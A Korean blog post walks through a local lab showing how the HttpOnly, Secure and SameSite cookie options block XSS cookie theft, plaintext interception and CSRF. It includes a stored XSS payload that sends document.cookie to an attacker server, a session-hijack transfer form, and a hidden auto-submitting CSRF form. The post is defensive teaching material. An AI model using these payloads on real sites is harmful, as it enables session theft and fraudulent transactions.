개요
이전 포스트에서 Cookie 에 sessionId 를 담아 사용자를 식별하는 흐름을 살펴보았다.
하지만 Cookie 자체가 안전하게 다뤄지지 않으면, sessionId 를 아무리 잘 만들어도 의미가 없을 것이다.
Cookie 에는 어떤 경로로 접근할 수 있는지, 어떤 상황에서 전송되는지를 제한하는 옵션들이 있다.
간단한 실습 프로젝트를 활용하여 HttpOnly, Secure, SameSite 세 가지 옵션이
왜 필요하고, 실제로 어떻게 동작하는지 하나씩 확인해보고자 한다.
실습 환경
두 개의 서버를 사용한다.
| 역할 | 주소 | 설명 |
|---|---|---|
| bank.com | https://localhost:3100 |
로그인, 송금, 게시판 기능이 있는 정상 서비스 |
| evil.com | http://localhost:3101 |
탈취한 Cookie 로 공격을 수행하는 악성 서버 |
bank.com 에서 로그인하면 Cookie 에 sessionId 가 발급된다.
이 Cookie 의 옵션을 하나씩 변경해가며, 각 옵션이 어떤 보안 위협을 막아주는지 확인할 것이다.
이 글의 실습은 Set-Cookie 값을 아래 순서대로 교체해가며 진행한다.
| 실습 | Set-Cookie 값 |
실습 포인트 |
|---|---|---|
| 0 | sessionId=${sid}; Path=/ |
기본 동작 확인 |
| 1 | sessionId=${sid}; Path=/; HttpOnly |
XSS: 쿠키 탈취 차단 |
| 2 | sessionId=${sid}; Path=/; Secure |
HTTPS 에서만 전송 |
| 3 | sessionId=${sid}; Path=/; Secure; SameSite=None |
CSRF: 크로스사이트 전송 허용 |
| 4 | sessionId=${sid}; Path=/; SameSite=Lax |
CSRF: 일부 차단 (POST) |
| 5 | sessionId=${sid}; Path=/; SameSite=Strict |
CSRF: 크로스사이트 차단 |
Cookie 의 기본 동작
옵션을 살펴보기 전에, 가장 기본적인 Cookie 설정부터 확인해보자.
res.setHeader("Set-Cookie", `sessionId=${sid}; Path=/`);
Path 란?
Path=/ 는 Cookie 가 전송되는 URL 범위를 지정한다.Path=/ 로 설정하면, 해당 도메인의 모든 경로에 대해 Cookie 가 전송된다.
만약 Path=/admin 으로 설정했다면, /admin 이하의 경로에서만 Cookie 가 포함되고/login 이나 / 같은 경로에서는 포함되지 않는다.
일반적으로 sessionId 는 서비스 전체에서 사용되므로 Path=/ 로 설정한다.
[실습 0-a] Cookie 없이 송금 불가
bank.com 에서 로그인하지 않은 상태로 송금을 시도해보자.

sessionId Cookie 가 없기 때문에 Server 는 요청을 거부한다. Cookie 가 사용자 인증의 핵심 수단이라는 것을 확인할 수 있다.
[실습 0-b] 정상 송금
로그인 후 송금을 하면 정상적으로 처리된다.

로그인 시 발급된 sessionId Cookie 가 요청에 자동으로 포함되어, Server 가 사용자를 식별할 수 있기 때문이다.
기본 Cookie 의 문제
개발자 도구에서 발급된 Cookie 를 확인해보면,HttpOnly, Secure 가 체크되어 있지 않고, SameSite 도 비어 있다.
![]()
이 상태에서는 어떤 보안 위협이 있을까?
Step 1. HttpOnly - JavaScript 접근 차단
옵션 없이 발급된 Cookie 의 위험
현재 Cookie 에는 아무 옵션도 없다.
bank.com 에 로그인한 상태에서, 개발자 도구의 Console 에 다음을 입력해보자.
document.cookie
![]()
sessionId 값이 그대로 출력된다.
document.cookie 로 sessionId 를 읽을 수 있다는 것은,
만약 bank.com 페이지에서 악성 스크립트가 실행된다면 Cookie 가 탈취될 수 있음을 의미한다.
이러한 공격을 XSS(Cross-Site Scripting) 라고 한다.
[실습 1] XSS 를 통한 Cookie 탈취
bank.com 에는 게시판 기능이 있다.
사용자가 입력한 내용을 Server 가 sanitize 없이 HTML 에 그대로 렌더링하기 때문에, XSS 에 취약하다.
공격자(attacker)가 게시판에 다음과 같은 내용을 등록한다고 가정하자.
<script>new Image().src="http://localhost:3101/steal?cookie="+document.cookie</script>
이 게시글은 bank.com 의 게시판에 저장된다.
이후 다른 사용자(user1)가 게시판을 열람하면,
user1 의 Browser 에서 위 스크립트가 실행되어 user1 의 sessionId 가 evil.com 서버로 전송된다.
그렇게 되면 evil.com 서버에서는 탈취한 sessionId 를 사용하여 bank.com 에 user1 인 것처럼 송금 요청을 보낼 수 있게 된다.
evil.com 에는 탈취한 세션으로 송금을 실행하는 폼이 있기 때문이다.
<form id="attack-form">
<input name="sessionId" placeholder="sessionId" required />
<input name="to" value="attacker" placeholder="받는 사람" />
<input name="amount" value="1000000" type="number" placeholder="금액" />
<button type="submit">송금 실행</button>
</form>
evil.com 서버의 로그를 보면 과정이 드러난다.
[steal] sessionId=mddpob3f0c
[steal] sessionId=ah1tctqyog
[attack] sid=ah1tctqy... -> attacker 1000000원 (200)첫 번째 sessionId 는 attacker 본인이 게시판에 접속할 때 함께 전송된 것이고, 두 번째 sessionId 가 user1 의 것이다.
evil.com 은 이 두 번째 sessionId 를 사용하여 bank.com 에 user1 → attacker 송금 요청을 보냈고, 성공(200)했다.
물론, XSS 공격이 성공하려면 bank.com 자체에 XSS 취약점(입력값 미처리 등)이 있어야 한다.
XSS 방어의 1차 책임은 입력값 sanitize 에 있고, HttpOnly 는 XSS 가 발생하더라도, Cookie 만큼은 탈취되지 않도록 하는 2차 방어선이라고 할 수 있다.
HttpOnly 적용
이제 Set-Cookie 에 HttpOnly 를 추가해본다.
res.setHeader("Set-Cookie", `sessionId=${sid}; Path=/; HttpOnly`);
개발자 도구에서 Cookie 를 확인해보자.
![]()
HttpOnly 에 체크가 되어 있다.
이제 Console 에서 다시 document.cookie 를 입력해보자.
document.cookie
![]()
빈 문자열이 반환된다. JavaScript 에서 Cookie 에 접근할 수 없게 된 것이다.
Browser 는 여전히 요청 시 Cookie 를 자동으로 포함하지만, 스크립트를 통한 탈취 경로는 차단되었다.
남은 위험
HttpOnly 는 JavaScript 접근을 막아주지만, Cookie 가 암호화되지 않은 HTTP 로 전송되는 것까지는 막지 못한다.
만약 HTTP 연결에서 Cookie 가 전송된다면, 네트워크를 감청하는 공격자가 Cookie 값을 그대로 가로챌 수 있다.
Step 2. Secure - HTTPS 전용 전송
res.setHeader("Set-Cookie", `sessionId=${sid}; Path=/; Secure`);
Secure 는 Cookie 값을 암호화하는 옵션이 아니다.
대신 Cookie 를 HTTPS 요청에서만 보내도록 Browser 에게 알려주는 설정이라고 할 수 있다.
Server 가 Set-Cookie 로 이 설정을 내려주면, Browser 는 요청을 보낼 때마다
주소가 http 인지 https 인지 보고 Cookie 포함 여부를 자동으로 판단한다.
그래서 같은 사용자, 같은 경로 요청이라도 전송 결과가 달라진다.
GET /mypage HTTP/1.1
Host: localhost:3100
Cookie: sessionId=abc123
HTTPS 요청일 때만 위처럼 Cookie 가 포함되고,
GET /mypage HTTP/1.1
Host: localhost:3100
HTTP 요청에서는 Cookie 헤더가 빠지게 된다.
즉, 암호화되지 않은 HTTP 구간에서는 sessionId 가 그대로 드러나는 상황을 줄일 수 있다.
개발자 도구에서 확인해보자.
[실습 2] Secure 동작 확인
HTTPS 로 요청했을 때는 Cookie 가 포함되고, HTTP 로 요청했을 때는 Cookie 가 빠지는지 확인해보자.
![]()
HttpOnly 와 Secure 에 모두 체크가 되어 있다.
즉, JavaScript 로 읽히는 경로(HttpOnly)와 HTTP 로 흘러가는 경로(Secure)를 함께 줄일 수 있다.
남은 위험
그런데 HttpOnly 와 Secure 를 모두 설정했는데도, 막지 못하는 공격이 있다.
이를 이해하려면 Browser 가 Cookie 를 어떻게 저장하고 전송하는지를 먼저 알아야 한다.
Cookie 는 도메인 단위로 저장된다
Browser 의 Cookie 저장소는 탭 단위가 아니라, 도메인 단위로 관리된다.
![]()
위 이미지에서 naver.com, search.naver.com, shopsquare.naver.com 등 각 도메인별로 Cookie 가 분류되어 저장되어 있음을 확인할 수 있다.
여기서 중요한 점은, Cookie 가 포함되는 기준이
"어떤 페이지에서 요청을 보냈는가"가 아니라 "요청의 목적지가 어디인가" 라는 것이다.
사용자가 evil.com 에 있든, news.com 에 있든,
요청의 목적지가 bank.com 이기만 하면 Browser 는 bank.com 의 Cookie 를 자동으로 포함하게 된다.
이 동작이 어떻게 악용될 수 있는지 살펴보자.
Step 3. SameSite - Cross-Site 요청 제어
CSRF 공격이란
bank.com 에는 다음과 같은 정상적인 송금 페이지가 있다.
<!-- bank.com 의 송금 페이지 -->
<form method="POST" action="/transfer">
<input name="to" placeholder="받는 사람" required />
<input name="amount" type="number" placeholder="금액" required />
<button type="submit">송금</button>
</form>
사용자가 이 페이지에서 송금 버튼을 누르면, Browser 는 bank.com 의 Cookie 를 포함하여 요청을 보내고,
Server 는 sessionId 를 확인하여 정상적으로 처리한다. 여기까지는 의도된 동작이다.
이제 evil.com 의 페이지를 보자.
<!-- evil.com 의 페이지 -->
<div class="banner">축하합니다!<br />경품에 당첨되었습니다!</div>
<form id="csrf-form" method="POST" action="https://bank.com/transfer" style="display:none">
<input type="hidden" name="to" value="attacker" />
<input type="hidden" name="amount" value="1000000" />
</form>
<script>
setTimeout(() => document.getElementById("csrf-form").submit(), 3000);
</script>
겉보기에는 경품 당첨 페이지지만, 숨겨진 <form> 이 3초 후 자동으로 bank.com 의 /transfer 로 POST 요청을 보낸다.
여기서 한 가지 의문이 들었다.
evil.com 이 bank.com 의 Cookie 에 접근할 수 있는 건가?
그건 아니었다.
evil.com 의 JavaScript 에서 document.cookie 를 읽으면 evil.com 의 Cookie 만 보인다.
evil.com 이 bank.com 의 Cookie 를 읽거나 접근하는 것은 불가능하다. (Same-Origin Policy)
하지만 evil.com 은 Cookie 에 접근할 필요가 없다.
evil.com 은 단지 bank.com 을 목적지로 하는 요청을 만들어냈을 뿐이다.
앞서 설명했듯이, 요청의 목적지가 bank.com 이면 Browser 가 bank.com 의 Cookie 를 자동으로 포함한다.
POST /transfer HTTP/1.1
Host: bank.com
Cookie: sessionId=abc123xyz // evil.com 이 아닌, Browser 가 자동으로 포함bank.com Server 입장에서는 유효한 sessionId 가 포함된 요청이므로, 정상 요청과 구별할 수 없다.
이것이 CSRF(Cross-Site Request Forgery) 공격이다.
evil.com 은 Cookie 에 접근한 적이 없다. Cookie 의 값도 모른다.
다만 bank.com 으로 향하는 요청을 유발했고, Browser 가 그 요청에 Cookie 를 포함시킨 것이다.
[실습 3] SameSite=None 일 때 - CSRF 공격 성공
CSRF 공격이 성공하는 것을 눈으로 확인해보자.
원래는 아래처럼 SameSite=None 만 넣고 실험하려고 했다.
res.setHeader("Set-Cookie", `sessionId=${sid}; Path=/; SameSite=None`);
그런데 이 상태로는 로그인이 되지 않았다.
Browser 가 Cookie 를 저장하지 않았기 때문이다.
확인해보니 현재 Browser 정책에서는 SameSite=None 을 사용할 때 Secure 가 함께 있어야 한다고 한다.
즉, SameSite=None 단독 설정은 무시된다.
그래서 실험은 다음 설정으로 진행했다.
res.setHeader("Set-Cookie", `sessionId=${sid}; Path=/; Secure; SameSite=None`);
![]()
SameSite=None은 Cross-Site 요청에도 Cookie 를 포함하겠다는 의미이다.현재 대부분의 Browser 는
SameSite를 생략하면Lax로 기본 적용하기 때문에,
CSRF 를 시연하려면 명시적으로None을 설정해야 한다.
다음 순서로 진행한다.
- bank.com 에서 로그인
- 새 탭에서 evil.com 접속
- 3초 후 자동으로 bank.com 에 송금 요청이 발생

사용자는 evil.com 에 접속했을 뿐인데, bank.com 에서 송금이 완료되었다.
bank.com 서버의 터미널 로그를 통해 요청의 출처를 확인할 수 있다.
[transfer] user1->attacker 1000000 origin=http://localhost:3101 referer=http://localhost:3101/Origin 과 Referer 가 http://localhost:3101 (evil.com)으로 표시된다.
요청이 bank.com 자체가 아닌 다른 사이트에서 발생했음을 알 수 있다.
[실습 4] SameSite=Lax 일 때 - CSRF 방어
이번에는 SameSite=Lax 로 변경해보자.
res.setHeader("Set-Cookie", `sessionId=${sid}; Path=/; SameSite=Lax`);
![]()
서버를 재시작하고 같은 순서로 진행한다.
- bank.com 에서 로그인
- evil.com 접속
- 3초 후 자동 송금 요청 발생

이번에는 송금이 실행되지 않는다.SameSite=Lax 가 설정되어 있기 때문에, evil.com 에서 발생한 POST 요청에 Cookie 가 포함되지 않았고,
bank.com Server 는 인증되지 않은 요청으로 판단하여 거부한 것이다.
Lax 는 왜 POST 만 차단하는가?
SameSite=Lax 는 모든 Cross-Site 요청을 차단하는 것이 아니다.
| 요청 유형 | 예시 | Cookie 포함 |
|---|---|---|
| 최상위 탐색 (GET) | 링크 클릭, 주소창 입력 | 포함 |
| 하위 요청 (POST, iframe 등) | form 제출, 숨겨진 요청 | 미포함 |
링크를 클릭하면(GET) 사용자는 직접 해당 사이트로 이동하게 된다.
화면이 bank.com 으로 전환되므로, 사용자가 자신이 어디에 있는지 인지할 수 있다.
이 경우 Cookie 를 포함해도 보안 위험이 낮다.
반면 POST 요청은 상태를 변경하는 동작(송금, 설정 변경, 삭제 등)에 사용된다.
CSRF 공격이 실제로 피해를 주는 것도 바로 이런 POST 요청을 통해서이다.
사용자가 인지하지 못한 채 상태가 변경될 수 있기 때문에, Cookie 를 포함하지 않는 것이다.
정리하면, Lax 는
"사용자가 직접 이동하는 탐색에는 Cookie 를 허용하되, 백그라운드에서 발생하는 위험한 요청에는 차단한다"
는 기준을 적용한다고 할 수 있다.
대부분의 Browser 가 SameSite 의 기본값으로 Lax 를 채택하고 있다.
[실습 5] Lax vs Strict
SameSite=Strict 는 Lax 보다 더 엄격하다.
다른 사이트에서 발생한 요청에는 GET 이든 POST 든 Cookie 를 전혀 포함하지 않는다.
이 차이를 직접 확인해보자.
evil.com 페이지 하단에 bank.com 으로의 링크가 있다.
<a href="https://localhost:3100">bank.com 바로가기</a>
SameSite=Lax 일 때:
- bank.com 에 로그인
- evil.com 에서 "bank.com 바로가기" 링크 클릭
- bank.com 으로 이동 → 로그인 상태 유지됨

SameSite=Strict 일 때:
res.setHeader("Set-Cookie", `sessionId=${sid}; Path=/; HttpOnly; Secure; SameSite=Strict`);
- bank.com 에 로그인
- evil.com 에서 "bank.com 바로가기" 링크 클릭
- bank.com 으로 이동 → 로그인이 풀려 있음

이렇게 로그인이 풀리는 이유는 Strict 가 다른 사이트에서의 GET 요청에도 Cookie 를 포함하지 않기 때문이다.
보안은 가장 강력하지만, 메일이나 메신저에서 bank.com 링크를 클릭할 때마다 로그인 페이지를 보게 되는 불편함이 발생할 수 있고,
그렇기 때문에 브라우저에서 SameSite=Lax 를 기본값으로 사용한다고 이해했다.
정리
세 옵션은 서로 독립적이면서 보완적이다.
각각 다른 보안 위협에 대응하는 방식으로, 다 함께 설정해야 비로소 Cookie 의 보안이 갖춰진다.
| 옵션 | 상황 | 역할 |
|---|---|---|
HttpOnly |
XSS (스크립트를 통한 탈취) | JavaScript 에서 Cookie 접근 차단 |
Secure |
네트워크 감청 (평문 전송) | HTTPS 에서만 Cookie 전송 |
SameSite |
CSRF (다른 사이트에서의 요청) | Cross-Site 요청 시 Cookie 포함 여부 제어 |
Set-Cookie: sessionId=abc123xyz; Path=/; HttpOnly; Secure; SameSite=Lax![]()
관련 포스팅
'Computer Science > Network' 카테고리의 다른 글
| [Network] Cookie 와 Session (0) | 2026.02.23 |
|---|